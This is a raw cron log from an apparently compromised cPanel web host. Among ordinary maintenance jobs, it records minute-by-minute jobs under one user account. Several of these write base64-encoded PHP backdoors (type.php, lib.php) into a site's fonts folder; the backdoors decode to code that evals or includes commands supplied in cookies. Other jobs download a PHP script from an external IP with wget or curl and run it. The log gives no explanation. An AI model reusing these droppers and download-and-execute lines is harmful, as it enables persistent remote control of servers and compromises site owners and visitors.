Sep  6 01:42:01 ip-184-168-122-23 CROND[25008]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 01:42:01 ip-184-168-122-23 CROND[25007]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  6 01:42:01 ip-184-168-122-23 CROND[25010]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 01:43:01 ip-184-168-122-23 CROND[25098]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 01:43:01 ip-184-168-122-23 CROND[25099]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 01:43:01 ip-184-168-122-23 CROND[25100]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 01:43:01 ip-184-168-122-23 CROND[25101]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 01:44:01 ip-184-168-122-23 CROND[25178]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 01:44:01 ip-184-168-122-23 CROND[25182]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 01:44:01 ip-184-168-122-23 CROND[25181]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 01:44:01 ip-184-168-122-23 CROND[25180]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  6 01:44:01 ip-184-168-122-23 CROND[25183]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 01:45:01 ip-184-168-122-23 CROND[25351]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 01:45:01 ip-184-168-122-23 CROND[25353]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  6 01:45:01 ip-184-168-122-23 CROND[25354]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 01:45:01 ip-184-168-122-23 CROND[25358]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 01:45:01 ip-184-168-122-23 CROND[25356]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 01:45:01 ip-184-168-122-23 CROND[25357]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  6 01:46:01 ip-184-168-122-23 CROND[25450]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 01:46:01 ip-184-168-122-23 CROND[25451]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 01:46:01 ip-184-168-122-23 CROND[25453]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  6 01:46:01 ip-184-168-122-23 CROND[25459]: (root) CMD (/usr/local/cpanel/scripts/upcp --security)
Sep  6 01:46:01 ip-184-168-122-23 CROND[25455]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 01:46:01 ip-184-168-122-23 CROND[25454]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  6 01:46:01 ip-184-168-122-23 CROND[25457]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 01:47:02 ip-184-168-122-23 CROND[25566]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 01:47:02 ip-184-168-122-23 CROND[25569]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 01:47:02 ip-184-168-122-23 CROND[25567]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 01:47:02 ip-184-168-122-23 CROND[25568]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 01:48:01 ip-184-168-122-23 CROND[25669]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 01:48:01 ip-184-168-122-23 CROND[25668]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 01:48:01 ip-184-168-122-23 CROND[25667]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 01:48:01 ip-184-168-122-23 CROND[25666]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 01:48:01 ip-184-168-122-23 CROND[25670]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  6 01:49:01 ip-184-168-122-23 CROND[25759]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 01:49:01 ip-184-168-122-23 CROND[25762]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 01:49:01 ip-184-168-122-23 CROND[25761]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 01:49:01 ip-184-168-122-23 CROND[25763]: (root) CMD (/usr/local/cpanel/bin/autossl_check --all)
Sep  6 01:49:01 ip-184-168-122-23 CROND[25765]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 01:50:01 ip-184-168-122-23 CROND[25880]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  6 01:50:01 ip-184-168-122-23 CROND[25881]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  6 01:50:01 ip-184-168-122-23 CROND[25884]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  6 01:50:01 ip-184-168-122-23 CROND[25888]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 01:50:01 ip-184-168-122-23 CROND[25889]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  6 01:50:01 ip-184-168-122-23 CROND[25887]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  6 01:50:01 ip-184-168-122-23 CROND[25890]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 01:50:01 ip-184-168-122-23 CROND[25891]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 01:50:01 ip-184-168-122-23 CROND[25886]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 01:51:01 ip-184-168-122-23 CROND[26096]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 01:51:01 ip-184-168-122-23 CROND[26097]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 01:51:01 ip-184-168-122-23 CROND[26098]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 01:51:01 ip-184-168-122-23 CROND[26099]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 01:52:02 ip-184-168-122-23 CROND[26178]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 01:52:02 ip-184-168-122-23 CROND[26181]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  6 01:52:02 ip-184-168-122-23 CROND[26183]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 01:52:02 ip-184-168-122-23 CROND[26180]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 01:52:02 ip-184-168-122-23 CROND[26182]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 01:53:01 ip-184-168-122-23 CROND[26261]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 01:53:01 ip-184-168-122-23 CROND[26262]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 01:53:01 ip-184-168-122-23 CROND[26263]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 01:53:01 ip-184-168-122-23 CROND[26265]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 01:54:01 ip-184-168-122-23 CROND[26339]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
